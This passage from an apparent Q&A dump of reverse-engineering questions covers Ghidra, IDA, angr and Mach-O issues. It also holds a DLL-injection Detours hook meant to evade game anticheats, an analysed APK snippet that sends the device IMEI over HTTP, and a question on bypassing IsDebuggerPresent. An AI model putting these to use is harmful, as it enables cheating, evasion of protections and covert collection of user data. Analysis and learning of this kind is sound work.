+}
+
+Instead of doing it by this way i want to hook it directly by the address/pointer of the target process also i want to avoid the CallWindowProc API call if it possible, i have been searching for the pointer with IDA Pro, x32dbg and Cheat engine but i haven't found it. How i can found a pointer to this? Thank you guys. +I am injecting a dll to the process to trying to do this. +Goal-Objective: The goal is hook the game procedure to use it instead of creating a global hook, also trying to avoid moost WinApi calls to be stealthy, cause anticheats can hook some API Functions and checks if they have been called or edited. +Example of what i am trying to do (Detour hooking): +
//This is that i want to do.
+#include <windows.h>
+#include "detour.h"//Microsoft detours header for hooking.
+#pragma comment(lib, "detours.lib");//Microsoft detours library.
+
+static bool bSetup = false;
+HWND GameHwnd = (HWND)((uintptr_t)GetModuleHandle(nullptr) + 0xA93158);
+
+typedef LRESULT(__stdcall* wndProc) (HWND, UINT, WPARAM, lParam);//our prototype.
+wndProc oWindowProc = nullptr;//our function return.
+
+//offsets, pointers, addresses...
+uintptr_t ADDRESS_WNDPROC = (uintptr_t)GetModuleHandle(nullptr) + 0x283C3A;
+
+LRESULT HookedWndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+    //Process messages
+    
+    return CallWindowProc(oWindowProc, hWnd, msg, wParam, lParam);
+}
+
+void lpMain()//Our dll start here, we do our thing in this function.
+{
+    if (!bSetup)//Hook Procedure and other stuff.
+    {
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+        
+        DetourAttach(&(LPVOID&)ADDRESS_WNDPROC, &HookedWndProc);
+        
+        DetourTransactionCommit();
+        
+        oWindowProc = (WNDPROC)ADDRESS_WNDPROC;
+        
+        or
+        
+        //oWindowProc = (WNDPROC)SetWindowLongPtr(GameHwnd, GWLP_WNDPROC, (LRESULT)HookedWndProc);//our Global Hooked Procedure.
+        
+        bSetup = true;
+    }
+    
+    //do our things.
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.
+        break;
+    }
+    return TRUE;
+}
+
+" +"['ida', 'x86', 'static-analysis']"," Title: What is this line and how to remove itBody: +I tried to unpack packed_dll, when the unpack stage done, i dumped unpacked_dll out and start to reverse. I pretty sure this is continuously function of that dll but this line show up. So what is this line and can i remove it for my static reverse stage ? +Thanks all +" +['android']," Title: Call of a suspicious method cannot be foundBody: i have a strange apk which I took a closer look at, among others with jadx-gui. It is a gaming app that requires an unusual amount of permissions according to the manifest file. I installed and played the game on a testphone. The requested permissions are not allowed for the game at all. Found a class in the code with the following suspicious method: +
public void doInBackground()
+{
+  ...
+  String deviceId = ((TelephonyManager) this.a.getSystemService("phone")).getDeviceId();
+  ...
+  a.add(new BasicNameValuePair(new String("imei"), deviceId)); 
+  ...
+  try {
+        httpPost.setEntity(new UrlEncodedFormEntity(a));
+      } catch (UnsupportedEncodingException e) {
+  ...
+
+This method collects sensitive data and sends it via http. +I don't see that this class is called with this method. Searched for the name of the method, but found nothing. Is there a way to call this method without seeing it in the jadx-gui? +Otherwise I ask myself why this method was implemented if it is never used. +" +"['ida', 'disassembly', 'ghidra', 'objdump']"," Title: disassembly - bad results generated with ghidra but not with objdump and IDABody: I am using Ghidra to analyze libpng-compat.1.5.10.so (downloaded from Fedora mirrors). +But it didn't load the expected disassembly. Then I used Objdump and IDA to check the code and they get the same results and process it correctly. Here are pictures of these three tools about the function png_write_rows: +Ghidra: + +we can see that from 0x6bf9, bad results are generated. +For comparison, Objdump: + +and IDA: + +I know IDA is the best SRE tool, and I always thought Ghidra and IDA are the top 2. Objdump is a basic, standard and old tool, but why is it that Ghidra can't even get the correct disassembly code while the other two tools do? I use auto-analyze and import the binary file for both IDA and Ghidra. +How to correct these errors? +By adjusting analysis options,if Non-Returning Functions - Discovered is set as false, it will be correct. +" +"['usb', 'arduino']"," Title: Reverse engineer an HID device - recreate using arduinoBody: I have an HID device that I'm trying to re-create using Arduino, I have captured the USB packets and I have pretty much analyzed all the data I need to operate the device, the only thing I'm not really sure about is how I should actually recreate the device with the Arduino device in terms of connection. +There is a software that detects and connects to my HID device, therefore I'd need to make the Arduino being detected as this device. I'm not really sure what would be the way to achieve that, is it related to PID and VID of the HID device? I assume there are much more than that that needs to be set in order to actually achieve that. +" +"['memory-dump', 'mach-o']"," Title: How to fix Mach-O headers from a memory-dumped binary to make it usable again?Body: I am trying to restore a binary from memory. I re-constructed the binary and analyzed it with a disassembler and it looks okay, but when inspecting the headers with otool I'm getting: +
truncated or malformed object (addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize)
+
+Looking at the command: +
 struct __macho_segment_command_64 {
+  LC_SEGMENT_64,                       // LC_SEGMENT_64
+  0x368,                               // includes sizeof section_64 structs
+  "__TEXT", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment name
+  0x0,                                 // memory address of this segment
+  0x339000,                            // memory size of this segment
+  0x0,                                 // file offset of this segment
+  0x339000,                            // amount to map from the file
+  0x7,                                 // maximum VM protection
+  0x5,                                 // initial VM protection
+  0xa,                                 // number of sections in segment
+  0               
+
+Then section 8 of that command: +
struct __macho_section_64 { 
+  "__objc_classname",                  // name of this section
+  "__TEXT", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment this section goes in
+  0x2dee36,                            // memory address of this section
+  0x6a,                                // size in bytes of this section
+  0x2dee36,                            // file offset of this section
+  0x0,                                 // section alignment (power of 2)
+  0x0,                                 // file offset of relocation entries
+  0x0,                                 // number of relocation entries
+  S_CSTRING_LITERALS,                  // flags (section type and attributes
+  0x0,                                 // reserved (for offset or index)
+  0x0,                                 // reserved (for count or sizeof)
+  0x0                                  // reserved
+}
+
+vmsize of this command is 0x339000. Section 8 starts at 0x2dee36 and is 0x6a in size. So the section ends at 0x2DEEA0. +I have problems understanding how this is "addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize" given that the VM size of this command is 0x339000 +I'm suspecting I'm probably missing something, so my question: What adjustments are needed to restore a binary and make it executable again? +" +"['ida', 'gdb']"," Title: How to call to function while debugBody: When I debugging remote process with gdb-server and Ida, and put breakpoint in the code, when the process stopped at this breakpoint how can I call to function and after that return to my code ? +" +"['ida', 'c++']"," Title: IDA exported header full of errorsBody: Im a noob when it comes to using reverse engineering tooling. +I am doing a reversing challenge (pwn adventure 3 CTF) and I am exporting the various types from IDA. The thing is, the header files are always full of errors when I add them to the project in visual studio. Using these headers would be much convenient since I have access to them, its just frustrating that i cannot get the syntax work. I have tried exporting the whole DLL I am debugging as a header (it includes a pdb so all these are supposed to be included). I have even tried including all of the std headers (I know its a bad practice, just wanted to try whether that fixes it.) +Is there something I am missing that I am supposed to do in order to have the exported headers be syntactically correct so I can use them in my development project? +Maybe the pros can guide me to the correct direction with this. Cheers in advance. +An example for the header exported by IDA for the ClientWorld looks the following,: +
/*
+   This file has been generated by IDA.
+   It contains local type definitions from
+   the type library 'GameLogic'
+*/
+
+#define __int8 char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+struct IPlayer;
+struct ILocalPlayer;
+struct std::_Tree_node<std::pair<unsigned int const ,ActorRef<IActor> >,void *>;
+struct std::_Tree_node<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,void *>;
+struct std::_Tree_node<ActorRef<IActor>,void *>;
+struct std::_Tree_node<ActorRef<IPlayer>,void *>;
+struct WorldVtbl;
+
+/* 155 */
+struct __cppobj std::_Container_base0
+{
+};
+
+/* 545 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<ActorRef<IPlayer> > > : std::_Container_base0
+{
+  std::_Tree_node<ActorRef<IPlayer>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 549 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > > : std::_Tree_val<std::_Tree_simple_types<ActorRef<IPlayer> > >
+{
+};
+
+/* 550 */
+struct __cppobj std::_Tree_buy<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > : std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > > >
+{
+};
+
+/* 551 */
+struct __cppobj std::_Tree_comp<0,std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> > : std::_Tree_buy<ActorRef<IPlayer>,std::allocator<ActorRef<IPlayer> > >
+{
+};
+
+/* 565 */
+struct __cppobj std::_Tree<std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> > : std::_Tree_comp<0,std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> >
+{
+};
+
+/* 687 */
+struct __cppobj std::set<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> > > : std::_Tree<std::_Tset_traits<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> >,0> >
+{
+};
+
+/* 322 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<ActorRef<IActor> > > : std::_Container_base0
+{
+  std::_Tree_node<ActorRef<IActor>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 323 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > > : std::_Tree_val<std::_Tree_simple_types<ActorRef<IActor> > >
+{
+};
+
+/* 328 */
+struct __cppobj std::_Tree_buy<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > : std::_Tree_alloc<0,std::_Tree_base_types<ActorRef<IActor>,std::allocator<ActorRef<IActor> > > >
+{
+};
+
+/* 542 */
+struct __cppobj std::_Tree_comp<0,std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> > : std::_Tree_buy<ActorRef<IActor>,std::allocator<ActorRef<IActor> > >
+{
+};
+
+/* 554 */
+struct __cppobj std::_Tree<std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> > : std::_Tree_comp<0,std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> >
+{
+};
+
+/* 664 */
+struct __cppobj std::set<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> > > : std::_Tree<std::_Tset_traits<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> >,0> >
+{
+};
+
+/* 304 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Container_base0
+{
+  std::_Tree_node<std::pair<unsigned int const ,ActorRef<IActor> >,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 305 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > > : std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const ,ActorRef<IActor> > > >
+{
+};
+
+/* 330 */
+struct __cppobj std::_Tree_buy<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Tree_alloc<0,std::_Tree_base_types<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > >
+{
+};
+
+/* 331 */
+struct __cppobj std::_Tree_comp<0,std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> > : std::_Tree_buy<std::pair<unsigned int const ,ActorRef<IActor> >,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > >
+{
+};
+
+/* 334 */
+struct __cppobj std::_Tree<std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> > : std::_Tree_comp<0,std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> >
+{
+};
+
+/* 597 */
+struct __cppobj std::map<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > : std::_Tree<std::_Tmap_traits<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > >,0> >
+{
+};
+
+/* 285 */
+struct __cppobj std::_Tree_val<std::_Tree_simple_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Container_base0
+{
+  std::_Tree_node<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,void *> *_Myhead;
+  unsigned int _Mysize;
+};
+
+/* 286 */
+struct __cppobj std::_Tree_alloc<0,std::_Tree_base_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > > : std::_Tree_val<std::_Tree_simple_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > >
+{
+};
+
+/* 393 */
+struct __cppobj std::_Tree_buy<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Tree_alloc<0,std::_Tree_base_types<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > >
+{
+};
+
+/* 490 */
+struct __cppobj std::_Tree_comp<0,std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> > : std::_Tree_buy<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *>,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > >
+{
+};
+
+/* 513 */
+struct __cppobj std::_Tree<std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> > : std::_Tree_comp<0,std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> >
+{
+};
+
+/* 564 */
+struct __cppobj std::map<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > : std::_Tree<std::_Tmap_traits<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> >,0> >
+{
+};
+
+/* 706 */
+struct World
+{
+  WorldVtbl *vfptr;
+  std::set<ActorRef<IPlayer>,std::less<ActorRef<IPlayer> >,std::allocator<ActorRef<IPlayer> > > m_players;
+  std::set<ActorRef<IActor>,std::less<ActorRef<IActor> >,std::allocator<ActorRef<IActor> > > m_actors;
+  std::map<unsigned int,ActorRef<IActor>,std::less<unsigned int>,std::allocator<std::pair<unsigned int const ,ActorRef<IActor> > > > m_actorsById;
+  ILocalPlayer *m_localPlayer;
+  unsigned int m_nextId;
+  std::map<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,AIZone *,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::allocator<std::pair<std::basic_string<char,std::char_traits<char>,std::allocator<char> > const ,AIZone *> > > m_aiZones;
+};
+
+/* 259 */
+struct ActorRef<IPlayer>
+{
+  IPlayer *m_object;
+};
+
+/* 1618 */
+struct __cppobj ClientWorld : World
+{
+  ActorRef<IPlayer> m_activePlayer;
+  float m_timeUntilNextNetTick;
+};
+
+" +"['ida', 'idapython', 'ida-plugin', 'flirt-signatures']"," Title: Is there any way to apply FLIRT signatures through a script like idapython?Body: I'm writing a script to find out how many functions were recognized after applying a FLIRT signature library, I'm using idapython I would like to know if I can apply the signatures by the script. +" +"['disassembly', 'ghidra']"," Title: How to turn off XREF comments in Ghidra's disassembly view?Body: Sometimes a function will have a series of XREF comments next to it in the disassembly view such as in the following example: +
                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     void __stdcall FUN_803adb50(void)
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     void              <VOID>         <RETURN>
+                     FUN_803adb50                                    XREF[357]:   FUN_80058564:80058574(c), 
+                                                                                  FUN_80058a80:80058a90(c), 
+                                                                                  FUN_8005c298:8005c2a8(c), 
+                                                                                  FUN_80288c48:80288c58(c), 
+                                                                                  FUN_802b0ab8:802b0ac8(c), 
+                                                                                  FUN_802b3860:802b3870(c), 
+                                                                                  FUN_802b3a4c:802b3a5c(c), 
+                                                                                  FUN_802b4f94:802b4fa4(c), 
+                                                                                  FUN_802b563c:802b564c(c), 
+                                                                                  FUN_802c81cc:802c81dc(c), 
+                                                                                  FUN_802ca894:802ca8a4(c), 
+                                                                                  FUN_802cd8f0:802cd908(c), 
+                                                                                  AnimationTreeSomething:802d1ff8(
+                                                                                  FUN_8040fd5c:8040fd6c(c), 
+                                                                                  FUN_80418708:80418718(c), 
+                                                                                  FUN_8041e46c:8041e47c(c), 
+                                                                                  FUN_80444fe0:80444ff0(c), 
+                                                                                  FUN_80445cf4:80445d04(c), 
+                                                                                  FUN_80446d80:80446d90(c), 
+                                                                                  FUN_8044c500:8044c510(c), [more]
+
+How can I turn these off (and on)? +" +"['angr', 'aarch64']"," Title: Reverse engineering a command line argument using angr for an aarch64 binaryBody: I am trying to reverse engineer a aarch64 binary using angr to find the required command line argument to get a desired result. From the binary I am able to extract the required length of the argument. I followed the previous examples in angr to extract the solution in bytes. Whenever I am restricting the result to only printable characters the angr is not giving any result but after removing the constraint angr provides one possible solution for the problem. The result of angr is as follows: +\xc7_\xb0\xb1>)9\x9f\x00\x82+\xe2ms\x90\x85\xbd\xdd\xebqyv1\x86\x82q]\xe9i\xc3\xed(\x1c\xdd\xfd\xf0\x9dgx +As per my understanding this doesn't mean anything and also is not the desired answer. Please let me know if I am missing something. Below is the code I am using: +
def get_possible_flags():
+p = angr.Project("test", load_options={'main_opts': {'arch': 'aarch64'}})
+key_bytes = [claripy.BVS("byte_%d" % i, 8) for i in range(39)]
+arg1 = claripy.Concat(*key_bytes)
+initial_state = p.factory.entry_state(args=["test", arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"})
+sm = p.factory.simulation_manager(initial_state)
+sm.explore(find=lambda s: b"correct" in s.posix.dumps(1),avoid=lambda s: b"wrong" in s.posix.dumps(1))
+s = sm.found[0]
+print("Found.........................")
+print(s.posix.dumps(1))
+possible_values = [ s.solver.eval_upto(arg1, 100, cast_to=bytes)]
+possibilities = tuple(itertools.product(*possible_values))
+return possibilities
+
+" +['debugging']," Title: Bypassing IsDebuggerPresentBody: I am currently trying to attach a debugger to a program with a callback for IsDebuggerPresent. Normally, i would patch the program to pass over this check, but patching the program is not an option. How would I go about getting a debugger attached so dynamic analysis is possible? +" +"['arm', 'ghidra', 'functions']"," Title: Having hard time analyzing stripped codeBody: This is my first time doing RE on a statically linked and stripped binary with ghidra. And I'm having a really hard time analyzing what function does what just by looking the decompiled code present by ghidra. +Ghidra recognised the binary language ID as ARM:LE:32:v8 and I'm especially stuck on this function: +
undefined8 ToSolve1(uint *param_1,uint *param_2,int param_3,uint param_4)
+
+{
+  uint *puVar1;
+  uint *puVar2;
+  byte *pbVar3;
+  byte *pbVar4;
+  uint *puVar5;
+  uint *puVar6;
+  byte *pbVar7;
+  int iVar8;
+  int iVar9;
+  int iVar10;
+  byte bVar11;
+  uint uVar12;
+  uint uVar13;
+  uint uVar14;
+  uint uVar15;
+  uint uVar16;
+  bool bVar17;
+  bool bVar18;
+  
+  if (param_2 < param_1) {
+    param_2 = (uint *)((int)param_2 + param_3);
+    param_1 = (uint *)((int)param_1 + param_3);
+    iVar8 = param_3 + -4;
+    iVar10 = iVar8;
+    if (param_3 < 4) goto LAB_0003ba2c;
+    uVar13 = (uint)param_1 & 3;
+    if (uVar13 != 0) {
+      bVar11 = *(byte *)(uint *)((int)param_2 + -1);
+      *(byte *)(uint *)((int)param_1 + -1) = bVar11;
+      puVar2 = (uint *)((int)param_1 + -1);
+      puVar1 = (uint *)((int)param_2 + -1);
+      if (1 < uVar13) {
+        bVar11 = *(byte *)(uint *)((int)param_2 + -2);
+        *(byte *)(uint *)((int)param_1 + -2) = bVar11;
+        puVar2 = (uint *)((int)param_1 + -2);
+        puVar1 = (uint *)((int)param_2 + -2);
+      }
+      param_2 = puVar1;
+      param_1 = puVar2;
+      if (2 < uVar13) {
+        param_2 = (uint *)((int)param_2 + -1);
+        bVar11 = *(byte *)param_2;
+      }
+      param_4 = (uint)bVar11;
+      if (2 < uVar13) {
+        param_1 = (uint *)((int)param_1 + -1);
+        *(byte *)param_1 = bVar11;
+      }
+      iVar10 = iVar8 - uVar13;
+      bVar17 = iVar8 < (int)uVar13;
+      iVar8 = iVar10;
+      if (bVar17) goto LAB_0003ba2c;
+    }
+    uVar13 = (uint)param_2 & 3;
+    if (uVar13 == 0) {
+      iVar9 = iVar8 + -8;
+      if (7 < iVar8) {
+        iVar8 = iVar8 + -0x1c;
+        iVar10 = iVar8;
+        if (0x13 < iVar9) {
+          do {
+            uVar16 = param_2[-2];
+            uVar14 = param_2[-3];
+            uVar13 = param_2[-4];
+            param_1[-1] = param_2[-1];
+            param_1[-2] = uVar16;
+            param_1[-3] = uVar14;
+            param_1[-4] = uVar13;
+            puVar2 = param_2 + -5;
+            uVar14 = param_2[-6];
+            uVar13 = param_2[-7];
+            param_2 = param_2 + -8;
+            param_4 = *param_2;
+            param_1[-5] = *puVar2;
+            param_1[-6] = uVar14;
+            param_1[-7] = uVar13;
+            param_1 = param_1 + -8;
+            *param_1 = param_4;
+            iVar8 = iVar10 + -0x20;
+            bVar17 = 0x1f < iVar10;
+            iVar10 = iVar8;
+          } while (bVar17);
+        }
+        if (iVar8 + 0x10 < 0 == SCARRY4(iVar8,0x10)) {
+          puVar2 = param_2 + -1;
+          uVar14 = param_2[-2];
+          uVar13 = param_2[-3];
+          param_2 = param_2 + -4;
+          param_4 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1[-2] = uVar14;
+          param_1[-3] = uVar13;
+          param_1 = param_1 + -4;
+          *param_1 = param_4;
+          iVar8 = iVar8 + -0x10;
+        }
+        iVar9 = iVar8 + 0x14;
+        if (iVar9 < 0 == SCARRY4(iVar8,0x14)) {
+          puVar2 = param_2 + -1;
+          uVar13 = param_2[-2];
+          param_2 = param_2 + -3;
+          param_4 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1[-2] = uVar13;
+          param_1 = param_1 + -3;
+          *param_1 = param_4;
+          iVar9 = iVar8 + 8;
+        }
+      }
+      iVar10 = iVar9 + 8;
+      if (iVar10 < 0 == SCARRY4(iVar9,8)) {
+        if (iVar10 < 4) {
+          param_2 = param_2 + -1;
+          param_4 = *param_2;
+        }
+        if (iVar9 + 4 < 0 == SBORROW4(iVar10,4)) {
+          puVar2 = param_2 + -1;
+          param_2 = param_2 + -2;
+          uVar13 = *param_2;
+          param_1[-1] = *puVar2;
+          param_1 = param_1 + -2;
+          *param_1 = uVar13;
+          iVar10 = iVar9;
+        }
+        else {
+          param_1 = param_1 + -1;
+          *param_1 = param_4;
+          iVar10 = iVar9 + 4;
+        }
+      }
+      goto LAB_0003ba2c;
+    }
+    param_2 = (uint *)((uint)param_2 & 0xfffffffc);
+    uVar14 = *param_2;
+    if (1 < uVar13) {
+      if (uVar13 == 2) {
+        if (iVar8 < 0xc) {
+LAB_0003bb4c:
+          do {
+            uVar13 = uVar14 << 0x10;
+            param_2 = param_2 + -1;
+            uVar14 = *param_2;
+            param_1 = param_1 + -1;
+            *param_1 = uVar13 | uVar14 >> 0x10;
+            iVar10 = iVar8 + -4;
+            bVar17 = 3 < iVar8;
+            iVar8 = iVar10;
+          } while (bVar17);
+        }
+        else {
+          iVar8 = iVar8 + -0xc;
+          do {
+            iVar9 = iVar8;
+            uVar13 = uVar14 << 0x10;
+            uVar15 = param_2[-1];
+            uVar12 = param_2[-2];
+            uVar16 = param_2[-3];
+            param_2 = param_2 + -4;
+            uVar14 = *param_2;
+            param_1[-1] = uVar13 | uVar15 >> 0x10;
+            param_1[-2] = uVar15 << 0x10 | uVar12 >> 0x10;
+            param_1[-3] = uVar12 << 0x10 | uVar16 >> 0x10;
+            param_1 = param_1 + -4;
+            *param_1 = uVar16 << 0x10 | uVar14 >> 0x10;
+            iVar8 = iVar9 + -0x10;
+          } while (0xf < iVar9);
+          iVar10 = iVar9 + -4;
+          iVar8 = iVar10;
+          if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bb4c;
+        }
+        param_2 = (uint *)((int)param_2 + 2);
+        goto LAB_0003ba2c;
+      }
+      if (iVar8 < 0xc) {
+LAB_0003bae0:
+        do {
+          uVar13 = uVar14 << 8;
+          param_2 = param_2 + -1;
+          uVar14 = *param_2;
+          param_1 = param_1 + -1;
+          *param_1 = uVar13 | uVar14 >> 0x18;
+          iVar10 = iVar8 + -4;
+          bVar17 = 3 < iVar8;
+          iVar8 = iVar10;
+        } while (bVar17);
+      }
+      else {
+        iVar8 = iVar8 + -0xc;
+        do {
+          iVar9 = iVar8;
+          uVar13 = uVar14 << 8;
+          uVar15 = param_2[-1];
+          uVar12 = param_2[-2];
+          uVar16 = param_2[-3];
+          param_2 = param_2 + -4;
+          uVar14 = *param_2;
+          param_1[-1] = uVar13 | uVar15 >> 0x18;
+          param_1[-2] = uVar15 << 8 | uVar12 >> 0x18;
+          param_1[-3] = uVar12 << 8 | uVar16 >> 0x18;
+          param_1 = param_1 + -4;
+          *param_1 = uVar16 << 8 | uVar14 >> 0x18;
+          iVar8 = iVar9 + -0x10;
+        } while (0xf < iVar9);
+        iVar10 = iVar9 + -4;
+        iVar8 = iVar10;
+        if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bae0;
+      }
+      param_2 = (uint *)((int)param_2 + 3);
+      goto LAB_0003ba2c;
+    }
+    if (iVar8 < 0xc) {
+LAB_0003bbb8:
+      do {
+        uVar13 = uVar14 << 0x18;
+        param_2 = param_2 + -1;
+        uVar14 = *param_2;
+        param_1 = param_1 + -1;
+        *param_1 = uVar13 | uVar14 >> 8;
+        iVar10 = iVar8 + -4;
+        bVar17 = 3 < iVar8;
+        iVar8 = iVar10;
+      } while (bVar17);
+    }
+    else {
+      iVar8 = iVar8 + -0xc;
+      do {
+        iVar9 = iVar8;
+        uVar13 = uVar14 << 0x18;
+        uVar15 = param_2[-1];
+        uVar12 = param_2[-2];
+        uVar16 = param_2[-3];
+        param_2 = param_2 + -4;
+        uVar14 = *param_2;
+        param_1[-1] = uVar13 | uVar15 >> 8;
+        param_1[-2] = uVar15 << 0x18 | uVar12 >> 8;
+        param_1[-3] = uVar12 << 0x18 | uVar16 >> 8;
+        param_1 = param_1 + -4;
+        *param_1 = uVar16 << 0x18 | uVar14 >> 8;
+        iVar8 = iVar9 + -0x10;
+      } while (0xf < iVar9);
+      iVar10 = iVar9 + -4;
+      iVar8 = iVar10;
+      if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bbb8;
+    }
+    param_2 = (uint *)((int)param_2 + 1);
+LAB_0003ba2c:
+    iVar8 = iVar10 + 4;
+    if (iVar8 != 0) {
+      bVar18 = SBORROW4(iVar8,2);
+      bVar17 = iVar10 + 2 < 0;
+      pbVar7 = (byte *)((int)param_2 + -1);
+      bVar11 = *pbVar7;
+      pbVar3 = (byte *)((int)param_1 + -1);
+      *pbVar3 = bVar11;
+      if (1 < iVar8) {
+        pbVar7 = (byte *)((int)param_2 + -2);
+        bVar11 = *pbVar7;
+      }
+      if (bVar17 == bVar18) {
+        pbVar3 = (byte *)((int)param_1 + -2);
+        *pbVar3 = bVar11;
+      }
+      if (iVar8 != 2 && bVar17 == bVar18) {
+        pbVar7 = pbVar7 + -1;
+        bVar11 = *pbVar7;
+      }
+      if (iVar8 != 2 && bVar17 == bVar18) {
+        pbVar3 = pbVar3 + -1;
+        *pbVar3 = bVar11;
+      }
+      return CONCAT44(pbVar3,pbVar7);
+    }
